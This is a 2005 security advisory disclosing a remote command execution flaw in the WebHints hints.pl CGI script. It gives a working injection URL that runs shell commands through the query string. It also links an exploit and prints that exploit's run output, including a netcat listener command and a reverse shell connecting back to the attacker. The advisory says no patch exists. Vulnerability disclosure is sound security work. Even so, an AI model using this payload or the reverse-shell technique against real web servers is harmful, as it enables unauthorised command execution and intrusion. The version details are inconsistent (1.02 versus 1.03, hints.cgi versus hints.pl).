MADSHEEP-05SA (security advisory): WebHints <= v1.03 Remote Command
Execution Vulnerability

06/11/2005

MADSHEEP-05SA (security advisory): WebHints <= v1.03 Remote Command
Execution Vulnerability

Published: 06 11 2005

Released: 06 11 2005

Name: WebHints

Affected Systems: <= 1.03

Issue: Remote Command Execution Vulnerability

Author: Emanuele "MadSheep" Gentili

Vendor: http://awsd.com/scripts/

Description

***********
Madroot Security group has discovered a flaw in WebHints <= 1.02. There is a
vulnerability in the current version of
WebHints. This issue occurs due to insufficient sanitization of externally
supplied data to the hints.pl script
that allows a remote user to pass an arbitrary shell command which will be
executed by the script. An attacker may
exploit this vulnerability to execute commands in the security context of
the web server hosting the affected script.

Details

*******

It's possibile for a remote attacker to retrieve any file from a webserver
and execute it. Multiple files are affected with this problem.

For example try this:

http://www.website/directory/hints.pl?|uname -a;id;uptime;pwd|

POF

*******

Exploit: http://madsheep.altervista.org/M4DR007-hints.pl

emanuele@blackbox:~$ perl new.pl

~~ www.madroot.edu.ms Security Group ~~

WebHints Software hints.cgi
Remote Command Execution Vulnerability
Affected version: <= all
~~ code by MadSheep ~~

06.11.2005

hostname:
localhost
port: (default: 80)
80
path: (/cgi-bin/)
/cgi-bin/
your ip (for reverse connect):
127.0.0.1
your port (for reverse connect):
7350

~~~~~~~~~~~~~~~~~~~~START~~~~~~~~~~~~~~~~~
[*] try to exploiting...
[*] OK!
[*] NOW, run in your box: nc -l -vv -p 7350
[*] starting connect back on 127.0.0.1 :7350
[*] DONE!
[*] Look netcat windows and funny

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
WARNING - WARNING - WARNING - WARNING
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If connect back shell not found:
- you do not have privileges to write in /tmp
- Shell not vulnerable

We r: MadSheep - Punish3r - Spastic_eye - seth - Groove - Mrk

emanuele@blackbox:~$

emanuele@blackbox:~$ nc -l -vv -p 7350

uid=1001(madhseep) gid=1001(madsheep) grupos=1001(madsheep)

enJoy

Solution

*********

The vendor has been contacted and a patch was not yet produced.

Credits
*******

Emanuele "MadSheep" Gentili - emanuele (at) orvietolug (dot) org [email concealed] - www.madsheep.edu.ms

Come cheer us at #madroot on Freenode ( irc.freenode.net )

(C) 2004 Copyright by madroot Security Group

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